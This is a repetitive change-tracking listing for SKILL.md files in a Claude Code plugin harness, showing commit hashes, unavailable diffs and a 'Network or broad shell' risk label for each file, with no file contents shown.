1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-full-frontend-system-migration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-full-frontend-system-migration/references/upstream/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-new-frontend-system-support/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-new-frontend-system-support/references/upstream/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/app-frontend-system-migration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/app-frontend-system-migration/references/upstream/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-ai/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-ai-catalog/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-app/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-app-bootstrap/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-app-configuration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-auth/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-authentication/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-catalog/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-catalog-db-performance/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-core-contribution/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-external-integrations/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-framework/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-integrations/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-kubernetes/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-mcp-actions/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-notifications/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-operations/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-permissions/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-plugins/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-search/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-software-templates/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-techdocs/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-upgrade/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/backstage-workspace-kit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/mui-to-bui-migration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/mui-to-bui-migration/references/upstream/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/onboard-to-openapi-server/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/onboard-to-openapi-server/references/upstream/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/plugin-analytics-instrumentation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/plugin-analytics-instrumentation/references/upstream/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/references/upstream/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/plugin-new-frontend-system-support/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/backstage-expert/skills/plugin-new-frontend-system-support/references/upstream/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/career-productivity/skills/brag-sheet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/career-productivity/skills/daily-prep/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/career-productivity/skills/email-drafter/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/career-productivity/skills/exam-ready/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/career-productivity/skills/linkedin-post-formatter/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/career-productivity/skills/meeting-minutes/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/career-productivity/skills/performance-review-writer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/career-productivity/skills/technical-job-search/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/clojure-interactive-programming/skills/remember-interactive-programming/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/cms-development/skills/content-management-systems/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/cms-development/skills/markdown-to-html/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/cms-development/skills/quasi-coder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/code-quality-refactoring/skills/dotnet-design-pattern-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/code-quality-refactoring/skills/editorconfig/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/code-quality-refactoring/skills/em-dash/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/code-quality-refactoring/skills/refactor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/code-quality-refactoring/skills/refactor-method-complexity-reduce/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/code-quality-refactoring/skills/review-and-refactor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/code-quality-refactoring/skills/ruff-recursive-fix/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/code-quality-refactoring/skills/tiny-stepping/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/codebase-blueprints/skills/acquire-codebase-knowledge/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/codebase-blueprints/skills/architecture-blueprint-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/codebase-blueprints/skills/code-exemplars-blueprint-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

